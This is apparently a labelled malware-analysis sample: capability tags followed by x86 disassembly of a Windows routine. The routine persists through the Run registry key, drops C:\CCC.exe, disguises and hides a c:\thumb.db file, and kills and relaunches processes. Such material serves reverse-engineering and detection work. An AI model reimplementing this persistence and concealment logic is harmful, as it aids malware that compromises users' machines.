Function at 0x401d90
Capabilities:
Create process on windows
Persist via run registry key
Set file attributes
Set registry value
Terminate process

Disassembly:
sub esp, 0x5f8
mov eax, dword [0x4334d0]
push edi
mov edi, ecx
mov dword [esp + 0x5f8], eax
mov eax, dword [edi + 0x70]
test eax, eax
jne 0x401710
pop edi
mov ecx, dword [esp + 0x5f4]
call fcn.0040c0b0
add esp, 0x5f8
ret
push ebx
push ebp
push esi
push eax
push 1
lea eax, [esp + 0x1c]
push 4
push eax
call fcn.0040c699
mov ecx, dword [esp + 0x24]
push ecx
call fcn.0041ab6f
mov edx, dword [edi + 0x70]
mov ebx, eax
mov eax, dword [esp + 0x28]
push edx
push eax
push 1
push ebx
mov dword [esp + 0x3c], ebx
call fcn.0040c699
mov ecx, dword [esp + 0x38]
push ecx
lea edx, [esp + 0x64]
push 0x427964
push edx
call fcn.0040c3bd
add esp, 0x30
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4017d5
lea edx, [esp + 0x204]
push str.C:_CCC.exe
push edx
call fcn.0040c3bd
lea eax, [esp + 0x20c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017a4
mov ecx, dword [esp + 0x10]
sub eax, edx
push eax
lea eax, [esp + 0x208]
push eax
push 1
push 0
push str.ATI_Lab
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x5c]
push eax
push str.CCC.exe
mov ecx, edi
call fcn.00401550
cmp eax, 1
jne 0x40187e
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x401800
mov ecx, dword [esp + 0x64]
push ecx
push 0
push 0x1f0fff
mov dword [esp + 0x1c], 0
call ebp
lea edx, [esp + 0x10]
mov esi, eax
push edx
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 1
push 0
push 0
push 0
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.USER32.dll_PeekMessageA]
cmp eax, 1
jne 0x40185a
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0x1e
call fcn.0040c2a0
add esp, 4
lea ecx, [esp + 0x5c]
push ecx
push str.CCC.exe
mov ecx, edi
call fcn.00401550
cmp eax, 1
je 0x401800
mov ebx, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push str.C:_CCC.exe
call ebp
push 0x4278a4
push str.C:_CCC.exe
call fcn.0040c3aa
mov esi, eax
add esp, 8
test esi, esi
je 0x4018bf
mov edx, dword [esp + 0x14]
push esi
push edx
push 1
push ebx
call fcn.0040c564
push esi
call fcn.0040c2fd
add esp, 0x14
push 2
push str.C:_CCC.exe
call ebp
lea eax, [esp + 0x5c]
push 0x4278c8
push eax
call fcn.0040c3bd
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 8
push 0
lea ecx, [esp + 0x60]
push ecx
call esi
mov ecx, edi
call fcn.00401350
push ebx
call fcn.0041ab6a
lea edx, [edi + 0xb4]
push edx
lea eax, [edi + 0x94]
push eax
lea ecx, [edi + 0x74]
push ecx
lea edx, [esp + 0x194]
push str.C:_CCC.exe__s__s__s_
push edx
call fcn.0040c3bd
add esp, 0x18
push 5
lea eax, [esp + 0x188]
push eax
call esi
mov esi, 0x64
mov edi, edi
lea ecx, [esp + 0x5c]
push ecx
push str.CCC.exe
mov ecx, edi
call fcn.00401550
cmp eax, 1
je 0x401981
push 0x1e
call fcn.0040c2a0
add esp, 4
push 1
push 0
push 0
push 0
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.USER32.dll_PeekMessageA]
cmp eax, 1
jne 0x40197e
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
dec esi
jne 0x401930
mov ecx, dword [esp + 0x604]
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
call fcn.0040c0b0
add esp, 0x5f8
ret
push esi
mov esi, ecx
mov eax, dword [esi + 0x70]
test eax, eax
je 0x401e43
push ebx
push ebp
push edi
push eax
push 0x20
lea ebx, [esi + 0x74]
push 1
push ebx
call fcn.0040c699
mov eax, dword [esi + 0x70]
push eax
push 0x20
lea ebp, [esi + 0x94]
push 1
push ebp
call fcn.0040c699
mov ecx, dword [esi + 0x70]
push ecx
push 0x20
lea eax, [esi + 0xb4]
push 1
push eax
call fcn.0040c699
add esp, 0x30
push 0x80
push str.c:_thumb.db_
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4278a4
push str.c:_thumb.db_
call fcn.0040c3aa
mov edi, eax
push edi
push 0x20
push 1
push ebx
call fcn.0040c564
push edi
push 0x20
push 1
push ebp
call fcn.0040c564
push edi
push 0x20
lea eax, [esi + 0xb4]
push 1
push eax
call fcn.0040c564
push edi
call fcn.0040c2fd
add esp, 0x3c
push 2
push str.c:_thumb.db_
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop ebp
pop ebx
mov ecx, esi
pop esi
jmp 0x4016e0
pop esi
ret